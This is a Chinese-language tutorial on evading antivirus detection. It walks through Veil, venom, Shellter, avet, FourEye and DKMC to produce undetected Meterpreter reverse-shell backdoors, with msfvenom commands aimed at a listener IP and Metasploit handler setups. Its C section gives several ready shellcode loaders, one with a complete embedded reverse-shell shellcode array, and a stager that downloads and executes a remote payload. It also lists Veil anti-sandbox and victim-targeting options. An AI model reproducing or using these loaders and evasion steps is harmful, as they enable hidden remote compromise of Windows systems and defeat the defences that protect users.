免杀知识汇总

Delina

原文链接：免杀知识汇总
​
目录：
一、杀软常见的三种方式
二、免杀的三种常用方式
三、利用工具实现免杀
    1、veil工具基础实现免杀+进阶
    2、venom免杀
    3、利用kali自带的shellter进行免杀
    4、利用avet实现免杀
四、利用源码编译+加载器加载代码实现免杀
    1）方式一，cs+c语言代码组合拳
    2）方式二，msf+c语言源代码
五、FourEye免杀
六、DKMC免杀
七、思维导图
一、杀软常见的三种方式
静态查杀(邮件类查杀一般是静态的)-->一般根据特征码识别到-->对文件进行特征匹配的思路
云查杀
行为查杀(也可以理解为动态查杀)-->对其产生的行为进行检测
3.1 可构建行为库进行动态查杀
3.2 可构建日志库对日志库进行动态查杀
3.3 统计学检测-->构建特征学习模型-->进行动态查获取就好了
二、免杀的三种常用方式
①捆绑-->文件捆绑,自解压捆绑,如exe类型的
②特征码混淆思路-->即混淆特征码进而绕过免杀
三种方式:
2.1 代码混淆
2.2 api钩子(函数混淆类)-->典型dll劫持类型-->即伪造一个dll文件,然后在调用dll文件的时候,先调用伪造的dll文件,在调用真实的dll文件,进而实现处理木马的操作。
2.3 溢出类型漏洞特点类
③白名单-->原理:杀毒软件对自己旗下的软件不检测导致
三、利用工具实现免杀1,veil工具基础实现免杀+进阶①启动方法

1. cd /opt
   
2. ls
   
3. veil（运行veil即可）

复制代码

使用方法
如 生成go语言的免杀马

1. use 1
   
2. list
   
3. use 16
   
4. set lhost ip
   
5. set lport 端口
   
6. generate#(执行即可)

复制代码

监听–>利用msf进行监听即可

1. use exploit/multi/handler#选择监听模块类
   
2. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
   
3. msf5 exploit(multi/handler) > set lport 3334
   
4. msf5 exploit(multi/handler) > set lport 10.211.55.2
   
5. msf5 exploit(multi/handler) > exploit

复制代码

②结合cs进行免杀
实操（生成go语言的免杀马）
1）、cs使用生成一个go语言类型的payload
2）、
use1
use 17

3）需要的设置变量类（具体参数设置的含义）

1. BADMACS 设置为Y表示 查看运行环境的MAC地址如果不是虚拟机才会执行payload （反调试）
   
2. CLICKTRACK 设置为4表示 表示需要4次点击才会执行
   
3. CURSORCHECK 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload （反沙箱）
   
4. COMPILE_TO_EXE 设置为Y表示 编译为exe文件
   
5. HOSTNAME 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload（指定目标环境 反沙箱的方式）
   
6. INJECT_METHOD 可设置为Virtual 或 Heap
   
7. MINPROCS 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload（指定目标环境 反沙箱的方式）
   
8. PROCCHECK 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload（指定目标环境 反沙箱的方式）
   
9. PROCESSORS 设置为2表示 只在至少2核的机器中才会执行payload（指定目标环境 反沙箱的方式）
   
10. RAMCHECK 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload（指定目标环境 反沙箱的方式）
    
11. SLEEP 设置为10表示 休眠10秒 以检测是否运行过程中被加速（反沙箱）
    
12. USERNAME 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。
    
13. USERPROMPT 设置为Y表示 在injection之前提醒用户（提示一个错误框，让用户误以为该程序执行错误才无法打开）
    
14. DEBUGGER 设置为Y表示 当被调试器不被attached时才会执行payload （反调试）
    
15. DOMAIN 设置为Comp表示 受害者计算机只有加入Comp域中时，才会执行payload（指定目标环境 反沙箱的方式）
    
16. UTCCHECK 设置为Y表示 只在运行环境的系统使用UTC时间时，才会执行payload

复制代码

4）设置

1. set USERNAME lll#前三个均表示在该特定的情况下执行这个木马
   
2. set HOSTNAME win7
   
3. set UTCcheck TRUE
   
4. set UTCcheck TRUE
   
5. generate#(即代表设置完成的含义状况特点)

复制代码

5）然后选择3,即自定义字符串的含义
输入cs生成的字符串即可
6）设置名字
即可完成组合拳
③结合mingw-w64
生成payload后
利用mingw-w64进行编译进行实现免杀的作用

• 
  

gcc -o c.exe c.c -l ws2_32#即过滤掉该命令的状况思路
2，venom免杀打开方法

• 
  

./venom.sh
windows下的基础免杀
命令步骤

1. 2
   
2. 4
   
3. #输入ip,输入端口
   
4. #选择常规的
   
5. windows/meterperter/reverse_tcp
   
6. #输入文件名
   
7. #后面均选默认即可

复制代码

3，利用kali自带的shellter进行免杀
基础生成命令

1. 选择A#（即自动模式）
   
2. 选择注入的程序
   
3. 选择是否要用隐身模式（建议不使用,免杀效果会变差）
   
4. 选择自定义字符还是自动字符
   
5. 选择模块#一般是选择1模块
   
6. 设置ip,设置端口

复制代码

监听方法

• 
  

handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp(监听方法)
4、利用avet实现免杀运行
#进入其的目录
#然后 python 其py程序即可一般是直接选择2生成一个payload
四、利用源码编译+加载器加载代码实现免杀方式一
cs+c语言代码组合拳
可参考：https://blog.csdn.net/qq_33942040/article/details/106463360
方式二,msf+c语言源代码
思路和cs实现免杀的思路差不多,利用编译进行绕过实现的
①首先现在msf中生成shellcode
c语言代码1

• 
  

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f c -o shell.c
②在c语言代码的buf[]=中添加该shell然后进行编译即可

1. unsigned char buf[] =
   
2. 
   
3. "shellcode";
   
4. 
   
5. #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口
   
6. 
   
7. main()
   
8. 
   
9. {
   
10. 
    
11.     ( (void(*)(void))&buf)();
    
12. 
    
13. }

复制代码

c语言代码2
免杀生成出现问题

1. #include <Windows.h>
   
2. #include <stdio.h>
   
3. #include <string.h>
   
4. 
   
5. #pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口
   
6. 
   
7. unsigned char buf[] =
   
8. "shellcode";
   
9. 
   
10. 
    
11. main()
    
12. 
    
13. {
    
14.     char *Memory;
    
15. 
    
16.     Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
17. 
    
18.     memcpy(Memory, buf, sizeof(buf));
    
19. 
    
20.     ((void(*)())Memory)();
    
21. 
    
22. }

复制代码

1. #include<windows.h>
   
2. #include<stdio.h>
   
3. unsigned char buf[] =
   
4. "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
   
5. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
   
6. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
   
7. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
   
8. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
   
9. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
   
10. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
    
11. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
    
12. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
    
13. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
    
14. "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
    
15. "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2b\x99"
    
16. "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
    
17. "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
    
18. "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
    
19. "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
    
20. "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
    
21. "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
    
22. "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
    
23. "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
    
24. "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
    
25. "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
    
26. "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
    
27. 
    
28. size_t size = sizeof(buf);
    
29. int main()
    
30. {
    
31.   char *inject;
    
32.   inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
33.   //分配可读可写可执行
    
34.   memcpy(inject, buf, size);//复制大小进去
    
35.   ((void(*)())inject)();//执行
    
36. 
    
37. }

复制代码

c语言代码3

1. #include <windows.h>
   
2. #include <stdio.h>
   
3. #pragma comment(linker, "/section:.data,RWE")
   
4. unsigned char shellcode[] ="";
   
5. 
   
6. void main()
   
7. {
   
8. 
   
9.         __asm
   
10.     {
    
11. 
    
12.         mov eax, offset shellcode
    
13.         jmp eax
    
14. 
    
15.     }
    
16. }

复制代码

c语言代码4

1. #include <windows.h>
   
2. #include <stdio.h>
   
3. 
   
4. unsigned char buf[] ="";
   
5. 
   
6. void main()
   
7. {
   
8.    ((void(WINAPI*)(void))&buf)();
   
9. }

复制代码

c语言代码5（汇编花指令）
注意：生成的exe文件需要环境中有几个.dll文件才可运行

1. #include <windows.h>
   
2. #include <stdio.h>
   
3. #pragma comment(linker, "/section:.data,RWE")
   
4. unsigned char shellcode[] ="";
   
5. 
   
6. void main()
   
7. {
   
8.         __asm
   
9.     {
   
10. 
    
11.         mov eax, offset shellcode
    
12.         _emit 0xFF  
    
13.         _emit 0xE0
    
14. 
    
15.     }
    
16. }

复制代码

c语言代码6
base4.c代码
​

1. /* Base64 encoder/decoder. Originally Apache file ap_base64.c
   
2. */
   
3. 
   
4. #include <string.h>
   
5. 
   
6. #include "base64.h"
   
7. 
   
8. /* aaaack but it's fast and const should make it shared text page. */
   
9. static const unsigned char pr2six[256] =
   
10. {
    
11.     /* ASCII table */
    
12.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
13.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
14.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
    
15.     52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
    
16.     64,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
    
17.     15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
    
18.     64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
    
19.     41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
    
20.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
21.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
22.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
23.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
24.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
25.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
26.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
    
27.     64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
    
28. };
    
29. 
    
30. int Base64decode_len(const char *bufcoded)
    
31. {
    
32.     int nbytesdecoded;
    
33.     register const unsigned char *bufin;
    
34.     register int nprbytes;
    
35. 
    
36.     bufin = (const unsigned char *)bufcoded;
    
37.     while (pr2six[*(bufin++)] <= 63);
    
38. 
    
39.     nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
    
40.     nbytesdecoded = ((nprbytes + 3) / 4) * 3;
    
41. 
    
42.     return nbytesdecoded + 1;
    
43. }
    
44. 
    
45. int Base64decode(char *bufplain, const char *bufcoded)
    
46. {
    
47.     int nbytesdecoded;
    
48.     register const unsigned char *bufin;
    
49.     register unsigned char *bufout;
    
50.     register int nprbytes;
    
51. 
    
52.     bufin = (const unsigned char *)bufcoded;
    
53.     while (pr2six[*(bufin++)] <= 63);
    
54.     nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
    
55.     nbytesdecoded = ((nprbytes + 3) / 4) * 3;
    
56. 
    
57.     bufout = (unsigned char *)bufplain;
    
58.     bufin = (const unsigned char *)bufcoded;
    
59. 
    
60.     while (nprbytes > 4) {
    
61.         *(bufout++) =
    
62.             (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
    
63.         *(bufout++) =
    
64.             (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
    
65.         *(bufout++) =
    
66.             (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
    
67.         bufin += 4;
    
68.         nprbytes -= 4;
    
69.     }
    
70. 
    
71.     /* Note: (nprbytes == 1) would be an error, so just ingore that case */
    
72.     if (nprbytes > 1) {
    
73.         *(bufout++) =
    
74.             (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
    
75.     }
    
76.     if (nprbytes > 2) {
    
77.         *(bufout++) =
    
78.             (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
    
79.     }
    
80.     if (nprbytes > 3) {
    
81.         *(bufout++) =
    
82.             (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
    
83.     }
    
84. 
    
85.     *(bufout++) = '\0';
    
86.     nbytesdecoded -= (4 - nprbytes) & 3;
    
87.     return nbytesdecoded;
    
88. }
    
89. 
    
90. static const char basis_64[] =
    
91. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    
92. 
    
93. int Base64encode_len(int len)
    
94. {
    
95.     return ((len + 2) / 3 * 4) + 1;
    
96. }
    
97. 
    
98. int Base64encode(char *encoded, const char *string, int len)
    
99. {
    
100.     int i;
     
101.     char *p;
     
102. 
     
103.     p = encoded;
     
104.     for (i = 0; i < len - 2; i += 3) {
     
105.         *p++ = basis_64[(string[i] >> 2) & 0x3F];
     
106.         *p++ = basis_64[((string[i] & 0x3) << 4) |
     
107.             ((int)(string[i + 1] & 0xF0) >> 4)];
     
108.         *p++ = basis_64[((string[i + 1] & 0xF) << 2) |
     
109.             ((int)(string[i + 2] & 0xC0) >> 6)];
     
110.         *p++ = basis_64[string[i + 2] & 0x3F];
     
111.     }
     
112.     if (i < len) {
     
113.         *p++ = basis_64[(string[i] >> 2) & 0x3F];
     
114.         if (i == (len - 1)) {
     
115.             *p++ = basis_64[((string[i] & 0x3) << 4)];
     
116.             //    *p++ = '=';
     
117.         }
     
118.         else {
     
119.             *p++ = basis_64[((string[i] & 0x3) << 4) |
     
120.                 ((int)(string[i + 1] & 0xF0) >> 4)];
     
121.             *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
     
122.         }
     
123.         //*p++ = '=';
     
124.     }
     
125. 
     
126.     *p++ = '\0';
     
127.     return p - encoded;
     
128. }

复制代码

base64.h代码

1. 
   
2. #ifndef _BASE64_H_
   
3. #define _BASE64_H_
   
4. 
   
5. #ifdef __cplusplus
   
6. extern "C" {
   
7. #endif
   
8. 
   
9.     int Base64encode_len(int len);
   
10.     int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);
    
11. 
    
12.     int Base64decode_len(const char * coded_src);
    
13.     int Base64decode(char * plain_dst, const char *coded_src);
    
14. 
    
15. #ifdef __cplusplus
    
16. }
    
17. #endif
    
18. 
    
19. #endif //_BASE64_H_
    
20. shellcode.c
    
21. 
    
22. #include <Windows.h>
    
23. #include <stdio.h>
    
24. #include <string.h>
    
25. 
    
26. #include "base64.h"
    
27. 
    
28. unsigned char buf[] =
    
29. "msf base64 code here";
    
30. 
    
31. int main(int argc, const char * argv[]) {
    
32. 
    
33. 
    
34.     char str1[1000] = { 0 };
    
35.     Base64decode(str1, buf);
    
36. 
    
37.     //printf("%d  ", sizeof(str3));
    
38.     char *Memory;
    
39.     Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
40.     memcpy(Memory, str1, sizeof(str1));
    
41.     ((void(*)())Memory)();
    
42.     return 0;
    
43. }

复制代码

​
msf生成base64的shellcode

• 
  

msfvenom -p  windows/meterpreter/reverse_tcp --encrypt base64  lhost=10.211.55.2 lport=3333  -f c > shell.c
gcc编码

• 
  

gcc shellcode.c base64.c -o test.exe
③进行监听

1. use multi/handler
   
2. set payload windows/meterpreter/reverse_tcp
   
3. set LHOST 10.211.55.2
   
4. set LPORT 3333
   
5. set EnableStageEncoding true

复制代码

五、FourEye免杀kali环境下使用
直接使用即可

• 
  

python3 BypassFramework.py
加载器方法1.使用shellcode_launcher①生成raw格式的shellcode

• 
  

msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw -o shellcode.raw
②
shellcode_launcher执行产生exe文件

1. shellcode_launcher.exe -i shellcode.raw
   
2. #1

复制代码

六、DKMC免杀

1. [*] (gen)  将msf的shellcode注入到一个BMP图像
   
2. [*] (web)  启动web服务用来分发BMP图像
   
3. [*] (ps)  生成ps的payload
   
4. [*] (sc)  将msf生成的raw文件转为shellcode
   
5. [*] (exit)  退出

复制代码

生成步骤与原理

1. 先利用msf生成raw文件
   
2. 利用sc讲raw文件转换为shellcode
   
3. 利用gen将上一步的shellcode注入到一个BMP图像
   
4. 利用ps生成基于powershell的BMP文件的payload
   
5. 用web提供的简单web服务进行分发BMP文件
   
6. https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg

复制代码

详细参考教程：

1. https://www.freebuf.com/articles/system/227463.html
   
2. https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

复制代码

七、思维导图

​

​

​

meta64位过杀软
过32位
​

1. /*
   
2. * A C-based stager client compat with the Metasploit Framework
   
3. *    based on a discussion on the Metasploit Framework mailing list
   
4. *
   
5. * @作者 Raphael Mudge (raffi@strategiccyber.com)
   
6. * @license BSD License.
   
7. *
   
8. * Relevant messages:
   
9. * * http://mail.metasploit.com/pipermail/framework/2012-9月/008660.html
   
10. * * http://mail.metasploit.com/pipermail/framework/2012-9月/008664.html
    
11. */
    
12. 
    
13. #include <stdio.h>
    
14. #include <stdlib.h>
    
15. #include <windows.h>
    
16. #include <winsock2.h>
    
17. 
    
18. /* init winsock */
    
19. void winsock_init() {
    
20.   WSADATA  wsaData;
    
21.   WORD     wVersionRequested;
    
22. 
    
23.   wVersionRequested = MAKEWORD(2, 2);
    
24. 
    
25.   if (WSAStartup(wVersionRequested, &wsaData) < 0) {
    
26.     printf("ws2_32.dll is out of date.\n");
    
27.     WSACleanup();
    
28.     exit(1);
    
29.   }
    
30. }
    
31. 
    
32. /* a quick routine to quit and report why we quit */
    
33. void punt(SOCKET my_socket, char * error) {
    
34.   printf("Bad things: %s\n", error);
    
35.   closesocket(my_socket);
    
36.   WSACleanup();
    
37.   exit(1);
    
38. }
    
39. 
    
40. /* attempt to receive all of the requested data from the socket */
    
41. int recv_all(SOCKET my_socket, void * buffer, int len) {
    
42.   int    tret   = 0;
    
43.   int    nret   = 0;
    
44.   void * startb = buffer;
    
45.   while (tret < len) {
    
46.     nret = recv(my_socket, (char *)startb, len - tret, 0);
    
47.     startb += nret;
    
48.     tret   += nret;
    
49. 
    
50.     if (nret == SOCKET_ERROR)
    
51.       punt(my_socket, "Could not receive data");
    
52.   }
    
53.   return tret;
    
54. }
    
55. 
    
56. /* establish a connection to a host:port */
    
57. SOCKET wsconnect(char * targetip, int port) {
    
58.   struct hostent *    target;
    
59.   struct sockaddr_in   sock;
    
60.   SOCKET       my_socket;
    
61. 
    
62.   /* setup our socket */
    
63.   my_socket = socket(AF_INET, SOCK_STREAM, 0);
    
64.   if (my_socket == INVALID_SOCKET)
    
65.     punt(my_socket, "Could not initialize socket");
    
66. 
    
67.   /* resolve our target */
    
68.   target = gethostbyname(targetip);
    
69.   if (target == NULL)
    
70.     punt(my_socket, "Could not resolve target");
    
71. 
    
72. 
    
73.   /* copy our target information into the sock */
    
74.   memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
    
75.   sock.sin_family = AF_INET;
    
76.   sock.sin_port = htons(port);
    
77. 
    
78.   /* attempt to connect */
    
79.   if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
    
80.     punt(my_socket, "Could not connect to target");
    
81. 
    
82.   return my_socket;
    
83. }
    
84. 
    
85. 
    
86. int main(int argc, char * argv[]) {
    
87.   ULONG32 size;
    
88.   char * buffer;
    
89.   void (*function)();
    
90. 
    
91.   winsock_init();
    
92. 
    
93.   if (argc != 3) {
    
94.     printf("%s [host] [port]\n", argv[0]);
    
95.     exit(1);
    
96.   }
    
97. 
    
98.   /* connect to the handler */
    
99.   SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
    
100. 
     
101.   /* read the 4-byte length */
     
102.   int count = recv(my_socket, (char *)&size, 4, 0);
     
103.   if (count != 4 || size <= 0)
     
104.     punt(my_socket, "read a strange or incomplete length value\n");
     
105. 
     
106.   /* allocate a RWX buffer */
     
107.   buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     
108.   if (buffer == NULL)
     
109.     punt(my_socket, "could not allocate buffer\n");
     
110. 
     
111.   /* prepend a little assembly to move our SOCKET value to the EDI register
     
112.      thanks mihi for pointing this out
     
113.      BF 78 56 34 12     =>      mov edi, 0x12345678 */
     
114.   buffer[0] = 0xBF;
     
115. 
     
116.   /* copy the value of our socket to the buffer */
     
117.   memcpy(buffer + 1, &my_socket, 4);
     
118. 
     
119.   /* read bytes into the buffer */
     
120.   count = recv_all(my_socket, buffer + 5, size);
     
121. 
     
122.   /* cast our buffer as a function and call it */
     
123.   function = (void (*)())buffer;
     
124.   function();
     
125. 
     
126.   return 0;
     
127. }

复制代码